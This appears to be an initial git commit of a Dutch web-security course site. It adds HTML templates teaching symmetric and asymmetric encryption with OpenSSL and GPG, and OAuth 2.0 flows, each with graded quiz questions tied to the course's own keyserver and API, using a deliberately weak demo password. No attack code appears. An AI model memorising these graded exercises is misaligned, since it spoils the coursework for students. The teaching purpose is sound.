Initial commit

7 years ago · 517e8092e8
commit 517e8092e8
82 changed files with 1969 additions and 0 deletions
--- a/.gitignore
+++ b/.gitignore
@ -0,0 +1 @@
+.DS_Store
--- a/500.html
+++ b/500.html
@ -0,0 +1 @@
+Internal Server Error
--- a/encryptie.html
+++ b/encryptie.html
@ -0,0 +1,312 @@
+{% extends "base.html" %} {% block content %}
+
+<h1>Encryptie &amp; Signen</h1>
+
+<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
+
+<h2>Symmetrische encryptie</h2>
+
+<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten
+  encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken
+  om je bestanden, berichten en verbindingen te beveiligen.</p>
+
+<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme
+  te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string
+  die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het
+  onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via
+  internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
+
+<img src="static/img/sym_encryptie.png">
+
+<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime
+  sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met
+  <b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data
+  weer terug te krijgen.</p>
+
+<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft
+  kunnen Alice en Bob veilig met elkaar communiceren.</p>
+
+<img src="static/img/sym_decryptie.png">
+
+<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende
+  soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
+
+<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
+
+<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
+
+<ul>
+  <li>
+    <span class="argument">openssl</span> Het programma zelf</li>
+  <li>
+    <span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
+  <li>
+    <span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
+    <ul>
+      <li>
+        <b>aes</b> staat voor
+        <a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
+      <li>
+        <b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
+      <li>
+        <b>cbc</b> staat voor
+        <a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
+    </ul>
+  </li>
+  <li>
+    <span class="argument">-base64</span> lees en schrijf de versleutelde data als
+    <a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden
+    op websites.</li>
+  <li>
+    <span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke
+    data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data
+    en de uitvoer wordt dan de versleutelde data</li>
+  <li>
+    <span class="argument">-in geheim.txt</span> het invoerbestand</li>
+  <li>
+    <span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
+</ul>
+
+<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
+
+<p>Een systeembeheerder heeft een geheim staan in dit
+  <a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen:
+  <code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
+
+<div class="question">
+  <span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
+  {% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
+  <input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
+</div>
+
+<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet
+  je de optie `-md sha256` toevoegen.</code>
+</p>
+
+<div class="question">
+  <span class="question-string">Versleutel de tekst "
+    <em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik
+    <code>Ab12345</code> als wachtwoord.</span>
+  {% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
+  <textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
+</div>
+
+<p class="hint">Hint: Je kan dit commando gebruiken:
+  <code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code>
+</p>
+
+<h2>Asymmetrische encryptie</h2>
+
+<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen.
+  Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden.
+  Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één
+  privé sleutel.</p>
+
+<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal
+  key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit
+  elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke
+  is.
+</p>
+
+<img src="static/img/sleutels_genereren.png">
+
+<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen.
+  Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel.
+  <b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met
+  de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
+
+<img src="static/img/asym_encryptie.png">
+
+<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische
+  encryptie. Waarom zouden we dit gebruiken?</p>
+
+<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd
+  geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende
+  sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand
+  anders.
+</p>
+
+<img src="static/img/publicprivatekey.png">
+
+<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel.
+  Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker
+  dat alleen Bob het kan lezen.</p>
+
+<img src="static/img/asym_alicebob.png">
+
+<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan
+  het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht
+  van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
+
+
+  <div class="question">
+    <span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden:
+      <ol>
+        <li>Alleen Bob kan het bericht lezen</li>
+        <li>Bob weet zeker dat het bericht van Alice is</li>
+      </ol>
+      Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat
+      ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
+    </span>
+    {% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
+    <textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
+  </div>
+
+  <p class="hint">
+    <strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
+
+  <img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
+
+  <p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen
+    die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
+
+  <p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en
+    een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou
+    en de andere persoon gelezen kunnen worden.</p>
+
+  <img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
+
+  <div class="question">
+    <span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie
+      twee de chat kan lezen?</span>
+    {% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
+    <textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
+  </div>
+
+
+  <h2>GPG</h2>
+
+  <p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de
+    <a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert
+    is
+    <a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde
+    berichten versturen.</p>
+
+  <p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een
+    <b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben
+    we onze eigen keyserver ingericht op websec.paulwagener.nl.
+    <b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt.</p>
+
+  <p>GPG kan je
+    <a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X
+    gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
+
+  <img src="static/img/gpg.png">
+
+  <code class="terminal">gpg --help</code>
+
+  <p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je
+    bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
+
+  <ul>
+    <li>
+      <b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
+    <li>
+      <b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
+    <li>
+      <b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
+    <li>
+      <b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
+    <li>
+      <b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
+    <li>
+      <b>--recv-keys --keyserver websec.paulwagener.nl
+        <i>sleutel-ID</i>
+      </b> Haal een publieke sleutel op van de onze keyserver</li>
+    <li>
+      <b>--send-keys --keyserver websec.paulwagener.nl
+        <i>sleutel-ID</i>
+      </b> Verstuur een publieke sleutel naar onze keyserver</li>
+    <li>
+      <b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
+    <li>
+      <b>-a</b> Output in ASCII base64 formaat</li>
+    <p>
+
+      <p>Haal van de keyserver onze publieke sleutel op met sleutel-ID
+        <b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel
+        een tekst versleuteld in
+        <a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
+
+      <div class="question">
+        <span class="question-string">Welke zin hebben we versleuteld?</span>
+        {% include "points.html" with points=answers.answer_encryption_decrypt_public_key.points max="5" %}
+        <input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}">
+      </div>
+
+      <p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit
+        bestandje de geheime code "555-0690" en je e-mailadres staat.</p>
+
+      <div class="question">
+        <span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde
+          <code>-----BEGIN PGP MESSAGE-----</code>)</span>
+        {% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %}
+        <textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea>
+      </div>
+
+      <p class="hint">
+        <strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als
+        je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
+
+      <p class="hint">
+        <strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
+
+      <p class="hint">
+        <strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten
+        (zie lijst van opties hierboven)</p>
+
+      <p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel
+        naar de websec.paulwagener.nl keyserver.
+        <b>Gebruik je e-mailadres voor het e-mailveld</b>.</p>
+
+      <p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken
+        en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten
+        voor onderstaande opdracht niet!)</p>
+
+      <div class="question">
+        <span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het
+          tekstveld (inclusief begin en einde
+          <code>-----BEGIN PGP MESSAGE-----</code>)</span>
+        {% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %}
+        <textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea>
+      </div>
+
+      <h3>Web of Trust</h3>
+
+      <p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor
+        dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk
+        te maken om met jouw private sleutel een
+        <b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd
+        hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
+
+      <p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan
+        kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele
+        hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld
+        <a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a>
+      </p>
+
+      <img src="static/img/web_of_trust.gif">
+
+      <p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke
+        sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke
+        sleutel weer opnieuw te versturen naar de keyserver.</p>
+
+      <div class="question">
+        <span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van
+          drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als
+          antwoord hier.</span>
+        {% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %}
+        <input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}">
+      </div>
+
+      <p class="hint">
+        <strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar
+        de server.</p>
+
+      <p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere
+        <a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe
+        <a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
+
+      <a href="http://xkcd.com/364/" target="_blank">
+        <img src="http://imgs.xkcd.com/comics/responsible_behavior.png">
+      </a>
--- a/index.html
+++ b/index.html
@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html>
+
+<head>
+  <title>Security Workshop</title>
+  <link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
+  <link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
+  <link href="/static/css/style.css" rel="stylesheet" type="text/css">
+  <script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
+  <script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
+  <script type="text/javascript" src="/static/js/quiz.js"></script>
+</head>
+
+<body>
+  <form method="POST" id="form-quiz">
+    <div class="row-fluid">
+      <div class="well span3" id="menu">
+
+        <ul>
+          <li>
+            <a href="/?sql">SQL Injection</a>
+          </li>
+          <li>
+            <a href="/?xss">Cross-site Scripting</a>
+          </li>
+          <li>
+            <a href="/?wachtwoorden">Wachtwoorden</a>
+          </li>
+          <li>
+            <a href="/?path">Insecure Direct Object References</a>
+          </li>
+          <!--
+          <li>
+            <a href="/?oauth">OAuth</a>
+          </li>
+          <li>
+            <a href="/?certificaten">Certificaten</a>
+          </li>
+          <li>
+            <a href="/?encryptie">Encryptie</a>
+          </li>
+        -->
+        </ul>
+
+        Moeilijkheidsgraad:
+        <select id="difficulty">
+          <option value="easy">Hints zichtbaar</option>
+          <option value="normal">Hints optioneel</option>
+          <option value="hard">Geen hints</option>
+        </select>
+      </div>
+
+      <div id="quiz" class="span8 offset3">
+      </div>
+  </form>
+</body>
+
+</html>
--- a/letsencrypt.html
+++ b/letsencrypt.html
@ -0,0 +1,56 @@
+<!DOCTYPE html>
+<html>
+
+<head>
+  <link rel="stylesheet" href="/static/css/semantic.min.css">
+  <style type="text/css">
+    body {
+      margin-top: 20px;
+    }
+  </style>
+</head>
+
+<body>
+  <h1 class="ui centered aligned header">Let's Encrypt</h1>
+
+  <div class="ui three column centered grid">
+    <div class="column ui">
+      <form method="POST" action="" class="ui form primary center aligned segment">
+        {% csrf_token %} {% if challenge %}
+        <p>Vanaf
+          <br>
+          <a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a>
+          <br> wordt de komende 10 minuten de volgende tekst getoond:
+          <br>
+          <code>{{challenge}}.{{response}}</code> {% elif error %}
+          <div class="ui negative message">
+            <p>{{error}}</p>
+          </div>
+
+          {% else %}
+          <div class="field">
+            <label for="domain">Challenge-response</label>
+            <div class="ui huge input">
+              <textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea>
+            </div>
+            <p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via
+              <br>
+              <code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code>
+            </p>
+          </div>
+
+          <button type="submit" class="ui big blue submit button">Opslaan</button>
+
+          {% endif %}
+      </form>
+    </div>
+  </div>
+
+
+  </div>
+
+
+
+</body>
+
+</html>
--- a/oauth.html
+++ b/oauth.html
@ -0,0 +1,371 @@
+{% extends "base.html" %} {% block content %}
+<h1>OAuth</h1>
+
+<img src="static/img/oauth.png" style="float: right">
+
+<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad
+  <strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
+
+<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen
+  de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor
+  gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
+
+<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk
+  zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice
+  versa.
+</p>
+
+<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en
+  wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo
+  kunnen checken.</p>
+
+<h3>Simpele authenticatie</h3>
+
+<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de
+  API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard
+  moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
+
+<figure>
+  <img src="static/img/auth_basic.png">
+</figure>
+
+<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
+
+<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van
+  <a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles
+  veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
+
+<p>Een startup heeft de
+  <i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik
+  van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam
+  en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan
+  werken.
+</p>
+
+<figure>
+  <img src="static/img/auth_basic_app.png">
+</figure>
+
+<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van
+  de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de
+  gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
+
+
+<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken,
+  maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
+
+<h3>Access tokens</h3>
+
+<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
+<p>OAuth lost dit probleem op door het concept van een
+  <b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API
+  te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de
+  server deze kan verifiëren.</p>
+
+<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige
+  manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de
+  schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
+
+<img src="static/img/oauth_facebook.png" class="center-block">
+
+<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens
+  eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt
+  je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
+
+<figure>
+  <img src="static/img/auth_access_token.png" class="center-block">
+</figure>
+
+<p>Je kan ook een speciale
+  <b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen
+  voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je
+  langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
+
+<h3>Opdrachten</h3>
+
+<p>Deze site heeft ook een API die te vinden is op:
+  <a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg
+  je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we
+  de API kunnen aanroepen.</p>
+
+<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API
+  aanroep doet. Voor deze opdracht kan je die aanmaken op
+  <a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
+
+<ul>
+  <li>
+    <b>Name</b>: mag je zelf kiezen</li>
+  <li>
+    <b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
+  <li>
+    <b>Client secret</b>: mag je zelf kiezen</li>
+  <li>
+    <b>Client type</b>: Confidential</li>
+  <li>
+    <b>Authorization grant type</b>: Implicit</li>
+  <li>
+    <b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
+</ul>
+
+<figure>
+  <img src="static/img/oauth_register.png" style="width: 50%">
+</figure>
+
+<div class="question">
+  <span class="question-string">Wat is de client_id die je hebt geregistreerd?</span>
+  {% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %}
+  <input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input>
+</div>
+
+<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de
+  endpoints van een aantal bekende servers:</p>
+
+<table border="1" cellpadding="4">
+  <tr>
+    <th>Service</th>
+    <th>Authorization endpoint</th>
+    <th>Token endpoint</th>
+  </tr>
+  <tr>
+    <td>Deze cursus</td>
+    <td>http://websec.paulwagener.nl/o/authorize/</td>
+    <td>http://websec.paulwagener.nl/o/token/</td>
+  </tr>
+  <tr>
+    <td>GitHub</td>
+    <td>https://github.com/login/oauth/authorize</td>
+    <td>https://github.com/login/oauth/access_token</td>
+  </tr>
+  <tr>
+    <td>Google</td>
+    <td>https://accounts.google.com/o/oauth2/auth</td>
+    <td>https://accounts.google.com/o/oauth2/token</td>
+  </tr>
+  <tr>
+    <td>Facebook</td>
+    <td>https://www.facebook.com/dialog/oauth</td>
+    <td>https://graph.facebook.com/oauth/access_token</td>
+  </tr>
+</table>
+
+<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan'
+  te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De
+  token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie
+  code nodig.</p>
+
+<p>Om te authoriseren hebben we de volgende URL parameters nodig: (
+  <a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
+
+<ul>
+  <li>
+    <b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je
+    de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven
+    vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een
+    authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access
+    tokens mee maken.
+    <i>Voor deze opdracht gebruiken we "token"</i>.</li>
+  <li>
+    <b>client_id</b>: Jouw gekozen client id</li>
+  <li>
+    <b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client
+    bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie
+    code of access token</li>
+  <li>
+    <b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
+  <li>
+    <b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect.
+    Kan handig zijn.</li>
+</ul>
+
+<p>Voor deze site is de authorisatie URL:
+  <br>
+  <span class="url">http://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&amp;response_type=token</span>
+</p>
+
+<div class="question">
+  <span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
+  {% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %}
+  <input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input>
+</div>
+
+<p class="hint">
+  <strong>Hint:</strong> Let je wel op dat er een slash staat achter
+  <code>authorize</code> in de URL?</p>
+
+<div class="question">
+  <span class="question-string">Hoeveel seconden is deze token code geldig?</span>
+  {% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %}
